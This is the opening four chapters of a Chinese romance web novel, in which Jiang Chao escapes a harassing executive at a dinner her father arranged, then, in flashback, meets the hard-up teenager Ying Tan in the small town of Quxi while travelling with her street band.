《夜莺与野犬》
1. 第 1 章
魔都向来被誉为不夜之城。
夜色渐深,都市霓虹华灯初放。林立的高楼大厦灯火通明,马路上车灯亦川流不息。
街边一处酒家二楼,包厢装潢金碧辉煌,华丽的欧式吊灯将每处角落都映得透亮。
圆木桌边四张宴会椅,桌上酒瓶已经空了几只。眼见着主座上男人杯中酒液将尽,脸泛醉红的江文生站起身,举起高脚杯。
“田总,好不容易见一次面,我再敬您一杯。”
桌上觥筹交错,被称为田总的中年男人神色敷衍,在酒过三巡时终于皱了眉头。
“江总还是和以前一样客气,满嘴都是漂亮话,就是看不出究竟有几分诚意。”
星光娱乐的金牌经纪人坐在田总身侧,恰到好处地缓和气氛:“田总对贵千金也是关注已久,前几年亲自嘱咐我们向江小姐发出邀约。”
她看向江文生,笑了一下:“这次应江总的约,主要还是希望江小姐可以重新考虑我们当初的提议。”
“我知道、我知道。溱溱今早本该落地,没想到飞机晚点……”
手机短信提示恰好响起,额头微微冒汗的江文生匆忙低头去看,得救般舒了口气:“她马上到了。”
包厢隐私性极佳,隔音上等,听不见外头分毫声响。
江文生等得焦灼,时不时低头看一眼手机,忍不住借着桌布的掩饰飞快编辑信息,追问了一条“到哪里了”。
消息刚发送,便闻开门的“嗒”一声轻响。身着制服的服务生推门而入,“江总、田总,江小姐到了。”
餐桌上安静一瞬,田总转头看去,眼睛顷刻间亮了起来。
如今网络上各色美人层出不穷,到了现实中,皮相好的少了骨相,貌美的不够高挑,能被娱乐公司看中的少之又少。
他眼光足够毒辣,早几年在视频里一眼相中的这位,现实里雪肤红唇、桃目潋滟,亲眼看见更是惊为天人。
“江小姐,”男人脸上因久等而积起的不悦立刻散了,眯起眼睛,笑着说,“真是久仰大名啊。”
江潮刚下飞机,穿的是宽松舒适的白绒毛衣与长裙,手臂上搭了件米色风衣外套。
桌边三人皆西装革履,她顿住步子,意识到这并非她想象中的接风洗尘,迟疑侧眸,喊了声“爸爸”。
“溱溱,”江文生对上她的目光,忙起身招手,“来爸爸这边坐。”
江潮走过去。
江文生展开手臂,想要揽住她的肩膀,她下意识侧了侧身,不动声色地避开。
“田总,这是我女儿江潮,小名溱溱,刚从伯克利毕业回国。”
江文生殷勤介绍,转头又说:“溱溱,这是星光娱乐的田总,旁边这位是星光娱乐的经纪人,你可以叫她楚姐。”
江潮沉默落座,拉椅时力道稍偏,没有与江文生靠得太近。
她嘴唇微抿,片刻后抬起脸,落落大方地微笑,“田总,楚姐。”
中年男人的视线直勾勾地落在她身上,打量近乎赤/裸。
旁侧楚姐笑着问:“波士顿的伯克利音乐学院?那可是高材生了。江小姐读的是什么专业?”
“可能比较小众,”江潮应,“我读的是音乐治疗。”
这个专业确实鲜少有人耳闻,楚姐面露惊讶:“我还以为会是表演一类的专业。”
江文生察言观色,连忙接道:“溱溱从小就有上各种舞台,成年之后还跟着乐队到处演出。她虽然没有读这个专业,但相关经验是一点不少的。”
“是,”楚姐笑起来,“我看过江小姐的视频,确实非常优秀。”
自小到大,江潮跟着父母赴过许多应酬。
她在还未彻底懂事的年纪便与大腹便便的经理同坐一桌,面对扛着长枪大炮的记者也不曾闹过什么脾气。
飞了二十小时终于落地,来不及休息便赶来赴宴——她太阳穴隐隐作痛,胃也不舒服,整个人疲倦至极,面上却不显。
毕竟已经习惯了。
江潮轻轻吸了口气,本想安静吃点什么暖暖胃,却见江文生开了瓶酒,用眼神示意她。
“田总对你这么赏识,溱溱,你可得好好敬他一杯。”
“以后如果能跟田总合作上,你在国内也能顺风顺水,做什么都不用愁。”
如今家中落魄,或许父亲是担心她回国后没有人脉寸步难行,才特意为她设宴。
江潮心想,稍稍提起精神,眼眸礼节性弯起,含笑碰杯应酬。
窗外夜色如墨,她瞥向墙上时钟,已经将近午夜。
江文生不胜酒力,满脸醉红。江潮浅酌了几杯,也有些晕沉,只是面上仍旧清醒,一双榛色的眼清透澄澈。
楚姐起身出去,安排司机事宜,田总解了衬衫第一枚扣,紧接着又解了第二枚。
“江小姐倒是好酒量。”
江潮抿唇微笑。
田总起身,拿起椅背上的西装外套。江文生见状也匆忙起来,视线往江潮身上一瞟,赶忙说:“我去结账。”
江潮微怔,跟着起身,却仍旧迟了一步。
包厢中只剩她与对方二人,江文生走时甚至带上了门。她对上田总的目光,察觉到几分怪异,往门侧晃了一步,“我先……”
话尚未说完,对方已然靠近,身上一片酒气熏然,“江小姐,依你的姿色身材,在娱乐圈中闯荡,那可是绰绰有余。”
江潮往后退了一步,定了定神,委婉答:“目前我更想做些与专业兴趣相关的事情。”
田总宛若没有听见:“可娱乐圈是个大染缸,想要在里头站稳,离不开金主靠山。”
他哼笑一声,伸手揽住江潮的肩,“虽然你父亲没向我提出这个要求,但像你这样的娇人儿,我不舍得藏着。”
江潮眼睫飞快眨了几下,错愕反胃、惊讶恼怒,亦有又一次死心的不甘。她面容彻底冷了,挣开:“田总,请你自重。”
“你们玩什么欲擒故纵?”田总脸上亦现不耐:“让我等了你一个小时,现在又来这一招。”
他攥住女人手腕,眯眼扫向腕上顷刻间泛起的红,褪去的兴致复而重燃,甚至烧得更旺,“不过你这样的女人,确实也有玩矜持的资本。”
“神经病,”
江潮不
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客气地骂了一声,挣不过男人的力气,低头去咬他的手:“放开我!”
女人一双桃花似的眼泛着浅浅的红,柔顺的黑发在反抗间稍乱,小兽般撕咬抓打。田总单手制住她的手腕,倾身靠近,重重嗅了一口。
“江小姐用的是什么香水?”
熏人的酒气将江潮包裹,男人粗重的呼吸扑在她的颈间。
江潮浑身一颤,在某一刻仿若身临不愿回想的过往,一瞬间冷静全失。
再一次回神之际,她已然狠狠抬脚,向对方身下用力一踹。
“——操!你这个婊/子!”
男人吃痛的闷哼被她甩在脑后,江潮寻得脱身的机会,手发着抖转开门把,忘了椅背上的大衣与包,只身一人逃入大堂。
江文生正在前台,听见她仓皇的脚步声,惊讶转头看来。
江潮视线掠过他的脸,在那张熟悉又陌生的面容上停滞片刻,不停歇地闯入夜色。
不知何时下起暴雨,天幕仿若彻底倾塌,大雨让整座城市颠倒。
她被冬夜的寒风激得浑身一颤,脚步不停,在街边拦车,就仿佛那家餐厅是吞人的野兽。
有出租车驶过,轮胎掀起大片积水,她浑身湿透,已经足够狼狈,却仍下意识闭眸扭头,往后一避。
再睁开眼时,对面那条街道,有一道身影开门下车,穿过大雨走来。
“江潮——!”
“你别给脸不要脸,给我过来!”
江潮咬住下唇,回头看了一眼。她的父亲站在那里,一张被酒精熏红了的脸犹如恶兽。
没有出租停下,她转身要跑,却一头撞上了另一人坚实的胸膛。
视野被连成幕的雨珠占据,江潮无措抬脸。
车辆行驶而过,前照灯扬起一片光,映亮了那男人的面容。
她一时间怔神,误以为看到了幻觉,喃喃出声:“……应潭?”
男人西装革履,在倾盆大雨中握住她的肩,稳住她的身形,不在乎被淋得湿透。
他往她的身后瞥了一眼,旋即不在意地低眸,瞳仁在夜色中更显漆黑深沉。
“跟我来。”
又有人匆匆赶来,为他打了伞,喊了声“应先生”。
他仿若未闻,定定垂眸,声音低哑:“我会帮你。”
车光转瞬即逝,男人的面容变得模糊不清。
江潮被他虚虚拢在身前,被他带着往车边走。他为她打开车门,偏头嘱咐:“给她拿一条毛巾。”
司机点头应声,他抽身离开,要关上车门,却被江潮下意识攥住手腕。
她嘴唇色泽泛着白,往他身后看,目光落在追来了的江文生身上,又飞快转回。
他变了太多太多,曾经冷戾又桀骜不驯的少年,如今长成了沉稳而具有压迫感的男人。
江潮觉得陌生,又像是试图抓住浮木的溺水之人,“应潭,他们……”
应潭垂眸,视线落在她握着他手腕的五指。
如雪般白皙柔嫩,与男人小麦色的粗砺皮肤截然不同。
他应声,嗓音低沉,“放心,我在。”
2. 第 2 章
“快到了。”
雨水在玻璃车窗上蔓开蜿蜒湿痕,公路两侧明亮灯光在水珠折射间显得光怪陆离。
本在闭眼小憩的江潮闻声抬眸,透过前挡风往外看。
小镇的轮廓在道路尽头若隐若现,她晕着车,思绪昏昏沉沉,小声喃喃:“快到曲溪了?”
“开这么久也该到了吧,”
身侧许甘也晕,声音半死不活:“再折腾下去我真的要吐你车上了斯敬哥!”
“马上就进城了。”林斯敬往后视镜里瞥了眼,“你们俩再忍忍,坚持就是胜利啊同志们。”
“后面还有橘子吗?”陈勉也说:“嗅嗅橘子皮缓解一下。”
从长昆出来的时候在休息站里买了些水果零食,现在也算是正好派上用场。
江潮提起精神坐直,剥开一个橘子,橘皮分给许甘,又问前面两位吃不吃。
陈勉摇头拒绝,林斯敬手握着方向盘,戏谑道:“我没手啊,劳烦好心人喂一下吧。”
“让晕车的人服务你吗?”
江潮把那一个橘子用纸巾裹好了,放到置物盒上,笑笑:“不怕我把橘子塞错了地方。”
车进城后雨势缓了些,路也变得不平。
江潮被颠得难受,脑袋磕到车窗上,轻轻吸了口气。
这地方七弯八拐,道边电动车摩托车乱停,导航导的路窄到开不进车。
“这路怎么这么怪,”林斯敬出声,探头往两侧看,“应该就在这条街上才对。”
“找不到吗?”陈勉说:“我看看导航。”
江潮听他们研究路线,从包中翻出薄荷糖,往许甘的方向递了递:“小甘。”
许甘接了,嘴很甜:“溱溱你好像一个百宝箱。”
她借着光撕开包装纸,转头瞄着外头的街景,“那歌里把这地方写得多神秘呢,就一小城镇,瞧着没什么可玩的。”
江潮也在看着窗外。
约莫是刚刚下过一场大雨的缘故,街道上空空如也、冷清寂寥,与养育她的魔都就像是两个世界。
那里永远是繁华热闹的,高楼大厦灯光璀璨,明亮霓虹彻夜不灭。
就好像不存在安静喘息的空间。
她笑笑,应:“过几天去看看歌里的那片海。”
前阵子在网络上流行起一首民谣,唱的就是曲溪这座小镇。
流浪歌手追逐故事,他们这一行人从另外一座城市来到曲溪,也只是因为这么一首歌而已。
薄荷丝丝缕缕的凉气自唇齿间溢开,江潮彻底醒了神,抬手顺了顺胸口。
前面两个男人仍在找路,林斯敬看着导航,皱起眉:“要不你们等等,我下车去问问店家?”
“现在哪还有店开着?”陈勉扭身往后头看:“刚进镇子的那条路上好像有个小超市。”
雨终于停了,路边积起了水洼,不规则地映着小城镇模糊朦胧的倒影。
江潮眼尖地注意到了什么,摇下车窗。
“那位小哥,”江潮扬起声音,一双眼礼节性地弯起弧度,“能跟你问个路吗?”
跟她坐在同一侧的林斯敬循声望去。
那是一家汽修店,店铺的卷帘门半拉着,只泄出一丝昏暗的光。
有人坐在店门边,一只腿伸长,一只腿微屈,看身形是个男人。
黯淡余光映着拉长的影子,一点猩红火光在夜色中若隐若现,又于顷刻后熄灭了。
那男人从那片昏暗中站了起来,随手将摁灭的烟头掷入垃圾桶里。
“哥们儿,”林斯敬接过话,“你知道百佳旅馆怎么走吗?”
那人偏过头来。
这条小巷太暗了,路灯经久失修,时闪时暗。
那人的面容浸在深沉夜色里,难以看清神态,像是扫视了一眼他们的车。
他开口,声音低沉,“嗯”了一声,没继续。
林斯敬问:“能帮忙指下路吗?这导航导得有点儿问题,我们找了一圈都没找着地方。”
“行,”那人不咸不淡,“十块。”
窗侧的江潮眨了一下眼睛。
深夜的小镇并非万籁俱寂,不知哪条街上的人们在打麻将,嘈杂人声隐约传来,还能听见几句扯着嗓子的“胡了”。
林斯敬以为自己没听清:“什么?”
“十块,”那人又说,散漫的语气,“带你们过去。”
车中静了一静,许甘瞪大了眼。
“十块钱?”
她性子娇蛮直接,扒开江潮凑到左侧车窗边,“怎么指个路也能要钱呀,嘴皮子一碰帮个忙的事儿。帅哥,你是不是太黑了点?”
车外人似是轻嗤了一声,浑不在意地冷讽:“我没时间当活雷锋。”
许甘瞪圆了眼:“你这人怎么能这样啊!”
江潮在包里翻找,没找到零钱。她拿出手机,“扫码可以吗?”
那人没应声,散漫靠近。
他从黑暗处走出来,隐匿于夜幕中的面容身形终于清晰。
江潮瞥了一眼,有些意外。
那人的声音低沉磁性,像是个成熟男人,实际上却是个十六七岁的少年。
他穿着一件陈旧的防风外套,长裤被洗得发白褪色,鞋子同样磨损斑驳。
人长得倒是英俊,青涩轮廓难掩浓眉高鼻,偏偏长眉沉沉压着,眉眼间仿若笼着层天生的薄淡戾气,也平添几分野性。
她没说话,将手机探出窗外。对方低眸,语调懒散:“等一下。”
——等什么?
江潮疑惑一瞬,视线顺着他的目光,落在他的手机上。
微信停留在加载界面,迟迟没有变化。五秒、十秒,界面成功跳转,却在点开收款码的那一刹卡顿崩溃。
女孩儿一双桃花眼睁圆了些,手机的主人反倒神色自若,又一次点开微信。
这一回程序顺利运行,江潮转了账,不由得多打量那只老款手机几眼,问:“多久能到?”
“三分钟。”他随意将手机揣进口袋,转身返回院中,推来一辆摩托,敲敲车窗:“跟着。”
车辆缓缓启动,许甘靠回后座,嘟囔起来:“三分钟十块钱,这钱还真是好赚——溱溱干嘛给他钱啊?这镇上又不是只有他一个人。”
“太晕了,”江潮笑笑:“早点找到地方,也能早点休息。”
许甘瞅她一眼。
大户人家的千金闲着没事儿出来体验生活,肯定不在乎被占这点儿便宜。她瘪瘪嘴,没再说什么。
镇子里道路不平,车开着
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也颠簸。幅度不剧烈,但足以让江潮不好受。
金陵、潭州、首都、春城,这一路上走过不少地方,这还是她第一次来到这样小的城镇。
百佳旅馆离他们的位置确实只要三分钟车程,林斯敬他们找不到的原因也很简单——这家旅馆在导航上的地址是错的。
大概是前不久才搬了位置,门口还放着几盆红艳艳的花篮。
车停下的时候正巧有个妇人推着垃圾桶出来,愣了一下,张口叫他。
“应潭?”
江潮开车门下来,听见那妇人说:“一楼厕所的灯泡坏了,你刚好过来,就顺便去修修吧。”
摩托上的男生瞥她一眼,一侧长腿往地上一支,脸上面无表情,淡淡“哦”了一声。
“敢情他也要往这儿来啊,这不是顺道吗?”
许甘叉着腰,嘀咕起来:“什么人啊,顺道带个路还收钱,钻钱眼里了。”
江潮没说话。
她胃中翻山倒海,实在是难受狠了,关上车门直奔旅馆。
同伴去前台登记入住,江潮问了卫生间位置,上了二楼。
二楼公卫门锁着,她喉口反胃感愈重,等不及拿房间钥匙,跑进一楼公卫。
厕所里面有人,中央架了个梯子,水池边上放了个手电筒。
那一束光线映亮了对方的身形,他偏过脸,睨了她一眼。
江潮抬手捂着唇:“你能不能……”
她语速很快,但话还是没能说完,才刚开了个头,就再也压不下那种恶心感,匆匆撑着墙壁弯下身。
江潮自认已经不像以前那样娇生惯养。
十八岁刚离家时,她处处不适应,一闻到车中劣质皮革香水的味道就想吐,坐车坐久了整个人都晕乎。
到现在过去了一年多,她其实已经很少晕车了,只是这一段路实在太颠簸。
江潮额头上冒出细汗,眉眼鼻尖红了一片,吐舒服后拍着胸脯,只觉得手脚都虚软了。
她好不容易缓过来,探身按下冲水键。
水流哗哗的声音响起,紧接着是“嗒”的一声轻响。
视野中的一切瞬间明亮了起来,江潮整个人都有些虚脱,愣了一下,才反应过来。
——刚才卫生间里的那个男生还没走。
他甚至还在这期间一言不发地换好了灯泡。
好友常说江潮遇到任何事都很淡然,好像对什么都无所谓。
但即便是她这样的人,此时此刻的感觉都有些难以言喻。
那个叫作应潭的男生已经把手电筒揣回了兜里,利落收好梯子。
似乎是察觉到了江潮看着他的目光,他偏过头,与江潮对视一眼。
女孩儿眉梢眼尾红通通的,一双漂亮得出奇的眼眸沾着泪光。
应潭将更换下来的灯泡往垃圾桶中一掷,冷漠神色未改,仅稍稍抬起一侧眉峰:“要水?”
江潮神思还有些恍惚。
震惊、惊诧、尴尬与难为情,种种情绪交织,听见他出声,她下意识接:“多少钱?”
“……”
片刻无声沉默,应潭轻啧一声,收回视线,将梯子搬离水池前。
“自来水,”他似是觉得莫名其妙,冷冰冰道,“免费。”
3. 第 3 章
一天舟车劳顿,江潮洗完澡躺到旅馆的床上时,忍不住长长舒出一口气,犯懒地阖着眼。
许甘比她精神得多,捧着台手机,在那里摆弄直播,乐呵呵地和观众说话。
他们乐队在网上有个账号,平时在街头演出的时候都会直播。
这么一段时间下来,零零散散也积攒了小几千个粉丝。
直播的主意是许甘提的,账号是林斯敬去创建的。
只有他们两个人会登直播账号,粉丝最习惯与他俩互动,但也会时不时地提起江潮。
原因无它,江潮长得好看。
约莫是直播间里又有人提到了她,许甘翻过身来,往江潮这边看了一眼,“溱溱啊?她在看书呢。”
“看的什么书?等等,我帮你们打探一下啊……”
江潮倚着床头,很配合地展示书封。
“冷笑话大全,”
许甘翻身回去:“你们小溱姐姐也是有点恶趣味的,只有幽默风趣、能熟练运用冷笑话的男人才能获得人家的芳心。”
许甘直播时向来不着调,江潮笑起来,顺着她的话应了声“对”。
房间里没开主灯,唯有床头柜上的一盏小台灯亮着柔和浅光。
直播间里有人深夜放毒,复制粘贴长长一段美食测评,看得许甘直犯馋。
她转头,对江潮说:“溱溱,我们要不要出去吃点夜宵?”
江潮拿起手机,看了眼时间。
将近深夜十一点,像这样的小城镇,也不知会有几家店铺还开着门。
“吃泡面吧?”江潮把书本合上,“我去楼下买。”
许甘猛点头,眼巴巴地瞅她:“我想吃红烧牛肉味的。”
旅馆一楼前台有卖速食饮料,种类不多,但能饱腹。江潮翻身下床,拿着手机出了门。
走廊安静无声,只有她的脚步在回荡。
江潮行至楼梯边,没下几层台阶,听见一楼传来压低了的交谈声响。
“你叫他过来干啥,”是个男人的声音,声调不满地扬着,“一天到晚净给老子整事。”
“你个老不死的,天天在外头搓麻,店里东西坏了没人修,我出去请人来修,瞎花那个冤枉钱你就舒服了是不?”
“不就一个灯泡,我不都跟你说了等老子晚上回来嘛?好不容易撇开这么个包袱,这回来修个灯泡,下回来吃个饭,再下下回是不是又得往老子家里塞了?”
男人说着说着怒气上涌,把什么东西往桌上重重一放,说她五十岁的妇女,连个灯泡都不会修;
女人也不甘示弱,冷嘲还在上大学的女儿都会帮忙看着店,自己的丈夫却是个只会喝酒抽烟打麻将的废物。
江潮鲜少遇到这样的情景,站在楼梯上,眨了眨眼,有些无措。
好不容易等到争吵稍歇,她刻意加重脚步,抢在新一轮纷争开始之前下了楼。
一楼两人听见声响默契噤声,对着客人摆出张有些僵硬的笑颜。
女人转身坐进了前台,男人从烟盒里敲出根烟,开门出去。
江潮目光无意识随着他往门外一扫,落至门口小院。
先前停在路缘边的那一辆漆黑摩托已经不见了。
江潮扫码买了两桶泡面,又买了几瓶饮料。她抱着东西上楼,一进门就得到了许甘的隔空飞吻。
“虽然这都是垃圾食品,但我真没法欺骗我的味蕾,”
许甘关了直播,泡好面先喝了口汤,忍不住长叹口气:“大晚上的来一口泡面真舒服。”
江潮在小圆桌边坐下,闻言若有所思地抬眸,“你知道什么食物不会欺骗人吗?”
许甘愣了一下,张口“啊”了声,睁着眼疑惑不解:“什么东西?”
江潮与她对视几秒钟,慢悠悠的语气:“披萨。”
她顿了一下,“因为披萨没有七片。”
许甘:“……”
女孩儿陷入片刻沉默,抬手摸了摸手臂,作冷到发抖状:“这是现学现用吗?”
“不是,”江潮弯着眼笑起来,“这是日积月累。”
洗漱后上了床,许甘给家中长辈拨打视频。江潮一直与她同住一间,知道许甘每天晚上都会与家里人通讯。
她窝在被里,听着许甘小声与父母聊天。
在休息站吃了什么、一路上晕车难受、找人问路被要了十块钱,语气随性亲昵。
不知过了多久,房间中终于安静下来,陷入一片寂寥黑暗。
江潮困得迷糊,手指松松笼着手机,直至感受到掌中震动。
她睁开眼睛,摁亮屏幕。
几小时前发送的那一句“我到曲溪啦”终于有了回复,母亲发来了一个笑脸,并一条十万的转账。
不知道为什么,她忽地回想起先前听到的那场纷争,回想起先前听到的那句“撇开的包袱”。
江潮看了会儿,没碰那条转账,把手机塞回枕下。
手机屏幕的光在夜色中渐渐变得微弱黯淡,直至彻底熄灭。
摩托疾驰于凌晨空荡街头,最后停驻在汽修店前。
卷帘门已经彻底关上了,应潭翻身下车,从后院绕进屋。
走时只留了一盏壁灯,进门时屋内明亮如昼。他裹着深夜的寒风雨露顿住脚步,喊了声“陈叔”。
陈老板坐在店里,支了张小桌,正唏哩呼噜地吃面条。
听见应潭进来,他头也不抬地招呼:“吃饭了没?”
应潭反手把门带上,“嗯”了一声。
他摸不准陈老板为什么大晚上跑到店里来吃饭,但也没问。
晚间修车的工具箱散了一地,应潭屈膝蹲着,沉默收拾。
塑料袋窸窸窣窣,竹筷撞在盒底,陈老板吃完了,把蛋花汤也一饮而尽,终于张口:“小应,我跟你说个事儿。”
他看向应潭,提起自己准备去大城市打拼,这个店面要转手卖掉了。
不是什么大事儿,曲溪这个地方向来留不住人。
陈老板口吻随意,把空饭盒和饭余垃圾往袋子里一丢,通知完了,又随口劝了几句。
“你今年多大了?是不是该上高中了?这个年纪的男生还是多读点书好,别太早在外边瞎混。”
“和家里人有什么说不开的,血浓于水嘛。等你到了
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我这个岁数就知道了,和家里人真没过不去的坎。”
应潭暑假起在他这边打工。他不是什么喜欢说话的人,陈老板隐约知道他与家中关系不好,算得上离家出走,但也仅此而已。
他听着,神色没有什么波澜,把工具箱合上,点头说了声明白。
陈老板没待多久,给他提前结了最后两个星期的工资,整理了点儿店里的东西就走了。
应潭待着,他睡在店里。
他拎着水管洗漱,而后回到放杂物的小隔间。那儿支了张折叠单人床,是别人不要的家具,被他捡回来了。
这张床窄小又摇摇欲坠,一坐上去就会发出不堪承受般的吱呀声响。
但总好过睡在冰凉的地面上。
隔间里没灯,只有个方块形状的小窗。应潭借着微弱夜色摸到床边,支腿坐在那儿,拿出手机。
那是他爸还活着的时候用的手机,放在三年前就不太好使,三年之后更加卡顿,进个微信都等了数十秒。
应潭点进本地群聊里。
租房的卖房的,壮/阳药脑白金小广告,他掠过一众杂七杂八的信息,记下几个在招工的店铺。
小群响个不停,几个初中辍学和中专在读的不良少年大半夜的搁那儿开着群语音聊天吹屁。
应潭向来懒得理会,他没那个太平洋时间。被人接连着艾特,他才进去听了听。
“干他们!”是个公鸭嗓的男声,“砸场子砸到我们王老板头上了,这怎么能忍?兄弟们约个时间!咱们去给那帮杂种一点颜色看看!”
另一人起哄:“我们这都是战五渣,得看应哥什么时候有空。”
应潭没听几句,丢下一句“没空”。
语音退了,公鸭嗓转头打来电话。“老王可说了,”他咋呼,“这事儿平了能拿五百块!”
五张大钞轮着分一圈,到手里压根剩不了多少。
“去要饭挣的比这多,”应潭扯唇冷嘲,静默片刻,转口却问:“地址。”
“榕华街的百乐酒吧,”
公鸭嗓的理想是成为街老大,志不在钱在打架,振奋道:“应哥你在我就安心了!”
电话挂断,应潭把手机塞到枕下。指节碰到了教科书坚硬的轮廓,他想到什么,把枕套里的书本拿了出来。
厚重书页之间夹着个信封,应潭摸了下口袋,掏出一把钞票。
他低着头,把陈老板给他的那几张钞票抚平,齐整地放进信封里。
还有张零的,是张十块钱。应潭瞥了一眼,想起晚间遇到的那些人。
那样的人他这阵子见得多。
光鲜亮丽的城里人,开着昂贵的车,穿着打扮与这里的所有人格格不入,看人时都抬着下颌。
仿若与他们有云泥之别。
应潭眸光微沉,轻嗤一声。
街外有醉汉结伴经过,嬉笑怒骂,半夜三更搅得人不得安生。
这世界就这么可笑,有些人一辈子不愁吃穿,有些人摸爬滚打,活得像只野狗。
他吐出一口浊气,英俊眉眼间沉沉冷戾未散,把信封重新夹回书页里,翻身上了床。
4. 第 4 章
次日天刚破晓,江潮便起了床。
她习惯早起,看完书后出了旅馆,意欲为同伴买些早点。
小城镇的清晨比深夜多出几分人气,系着红领巾的小孩儿被父母送去上学,拉着货的板车三轮匆匆经过街角。
这里的街景与她生活的地方很不一样,没有拔地而起的高楼大厦,也没有整齐规划过的绿化带。
小楼高低不一,树木野蛮生长,江潮在一家早餐铺子旁驻足,跟在小学生身后排队。
早餐铺子老板见她面生,热情问她是不是游客,见她点头应声,又拍着胸脯保证整个曲溪没有比他家小笼包更好吃的早餐。
江潮笑起来:“那看来我的运气还不错。”
等待的间隙她与老板聊天,说起这里夜间好像都没有什么人,昨晚来时街道上冷冷清清。
老板忙着装豆浆,开口“哎呀”一声,道:“你是没去对地方。”
“咱们曲溪也已经慢慢开始发展起来了,今晚你可以去榕华街那边瞅一眼,可热闹呢,什么酒吧舞厅KTV,你们年轻人不是就去喜欢这些地方玩儿嘛。”
榕华街,江潮记下这个名字。
回去的时候前台坐着个年轻女孩儿,见江潮回来,挺活泼地跟她打了个招呼。
“这么早就出去买吃的啦?”
这位大概是昨夜老板娘吵架时提起的小茗,她家中“还在上大学的女儿”。
“我习惯早起,”江潮也笑,“而且这里空气好,早上出去走走很舒服。”
她们随口聊上几句,小茗问她是不是二楼四号房的客人。
“我对你们印象超深刻,”她说,“一次性订了两个月的房间,我还是第一次遇见这样的游客。你们在曲溪待这么久干嘛呀?”
江潮倚在柜台边。
“不干什么,到处走走看看,唱唱歌。”
“唱歌?是我们这儿哪个酒吧的老板请你们来驻唱吗?”
“没有,”江潮摇头,“我们算是街头歌手吧。”
在街边唱唱歌,放在长辈眼中大概是不务正业,在年轻人眼中却象征着潇洒自在。
小茗连连惊呼,追着江潮问她这一路旅行的足迹,神态艳羡,“我也好想做这种工作。”
“读书真没意思,累死累活读出来了给人996当牛马。一下班回来啥都干不了,想想就没劲儿,还不如去摇奶茶。”
江潮不觉得唱歌是自己的工作,但她没有反驳。
“在奶茶店上班挺好的,”她只是顺着对方的话说,“攒些经验自己开家店。”
“那可算了,我不行,”小茗嘀咕,“我爸妈就觉得我该有个稳当体面的工作,就得坐在办公室里。”
“而且我都考上大学了,要真的去奶茶店打工也太丢人了。像我那个堂弟,高中没读去给人修车,我总不能沦落到他那个阶级吧。”
江潮敛了敛眸。
她嘴唇微张,最后却什么都没说,只是笑笑。
又有人从楼梯上下来,是准备去晨跑的林斯敬。
江潮与他打了个招呼,自然而然地冲小茗点头:“我先去给他们送早饭了。”
“买的什么?”林斯敬走过来,做作的语调:“小笼包?怎么又买我爱吃的,你人真好。”
江潮:“……”
小茗在前台乐了一声,江潮递了递袋子,叹气:“吃你的吧。”
当天晚上,江潮与同伴去了榕华街。
他们天南地北地走,除了提前在网络上订个旅馆民宿之外,不会制定什么计划。
榕华街最开始只是一条街,后来慢慢发展成了一个街区的统称,这儿算是曲溪的中心,还坐落着一座街心公园。
秋冬的天黑得早,一行人五点便到了地方。不少小贩在这里摆摊,他们也在公园外边找了个位置摆好设备。
吉他贝斯架子鼓,许甘还用支架架起了手机,问寥寥无几的观众今晚有没有想听的歌。
傍晚有不少小朋友在公园里疯玩,有几个在他们周围旁观。“吉他、吉他,”有个小女孩儿指着他们,“还有打鼓!”
“那把是贝斯,”
江潮坐在石墩上,身子向前微倾,掌心支着侧脸,接话:“不是吉他。”
小姑娘没听说过贝斯这个乐器,茫然地眨了几下眼睛,一张小脸红扑扑的,缩到朋友的身后。
她的朋友倒不认生,见江潮与他们说话,立刻好奇提问:“姐姐,你怎么什么都没有?”
“有呀,”江潮伸手点点,“那个麦克风就是我的。”
小男生紧追不舍地问:“你怎么不弹琴?是你不会吗?”
林斯敬恰好听见,忍不住失笑。
“这小孩儿真会说话,”他搓了把对方的脑袋,“这个姐姐会的可多了,以后你多来捧捧场,说不准就能撞见人家弹琴。”
他说着,对江潮抬抬下巴,“那边的美女,开始了啊,别发呆了。”
这样的小地方鲜少出现过街头乐队。
偶尔有卖唱的歌手,也不过是只身一人,带着个音箱、背着把吉他,没有他们这样的排场。
鼓声先响,吉他贝斯紧跟着拨弦。
江潮握着麦克风,轻轻吸了口气。
她唱歌时的音色清脆空灵,宛若泉水叮咚,并非华丽优美的那一种类型,也不具有令人顿生惊艳的爆发力。
但在街头,这样具有质感的歌声,与花哨的唱腔一样容易令人驻足。
“那边在干啥呢?”
公鸭嗓往对面街瞧瞧,没见着人影,只听着隐约声响,疑惑道:“广场舞换曲子了?那群老头老太还有这品味?”
与他并肩走在一起的灰毛探头探脑:“范,范哥,咱,咱要不要过去,过去瞧瞧?”
“走走,咱们去看看——”
公鸭嗓搭起奶奶灰的肩膀,正兴致勃勃地要跨马路,忽地一个激灵:“看什么看!正事儿都还没办呢!应哥哪有那个太平洋时间陪你看大妈跳广场舞啊!”
奶奶灰被范钱荣这沙哑的大嗓门吓了一跳,连忙点头,一句“有道理”说得磕磕巴巴,拉长成了十几个音节还没说完。
左边一个公鸭嗓,右边一个结巴。
应潭落在他们身后,面无表情:“别扯着嗓子瞎叫唤,伤耳朵。”
“哎应哥,”范钱荣听他开口,放慢脚步,笑嘻嘻问他:“最近忙什么呢?打完架有时间不?哥几个去喝点酒啊。”
应潭收回目光,看着眼前的地砖,淡淡道:“没空。”
“别唬我,大晚上的你能去干啥?”范钱荣不信:“泡妞儿啊?不可能吧。”
应潭懒得理他,结巴在旁边吃吃地笑,还重复:“不,不可能。”
范钱荣作为曲溪有名的街溜子,自懂事起就立志成为混混头儿,从小到大没学过好。
抽烟喝酒打架逃学他一个没落下,初中毕业后在社会上混,没干成什么大事,倒是认识了不少人,三教九流无所不有。
百乐酒吧的王老板就是他的朋友。
对方也是个奇人,三十来岁的社会人,和一个十八岁的不良少年颇有话说。
应潭他们一进酒吧,那王老板就迎上来,焦头烂额的模样:“小弟,你可算是来了——你们怎么就三个人?”
“三个人怎么了?”范钱荣一副气焰嚣张的模样:“王老板,你不是道上的,有些人物你不认识。”
王老板戴着个眼镜,瞧着像个老实人,搓手问道:“这几位是……”<
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p>“你瞅瞅,这位是越哥,龙华技校一把手,手下几十个小弟。”
范钱荣张口就来,“再瞅瞅这位,这是咱们应哥,也是个能以一敌十的狠角色,以前拎着花瓶把人打进过医院。”
应潭站在后头,手插在兜里,闻言掀起眼皮,闲闲瞥了范钱荣一眼。
王老板吓了一跳,连忙摆手:“哟,也没必要这么暴力。”
他说着,悄悄打量范钱荣口中的这两位哥。
那染着奶奶灰的“越哥”瞧着普普通通,看不出深浅;另一位“应哥”长得出奇英俊,眉眼森冷锐利,虽然年纪轻轻,但确实是副不好惹的模样。
王老板谨慎道:“还是稳妥点吧,能动口就别动手,吓着客人了就不好了……”
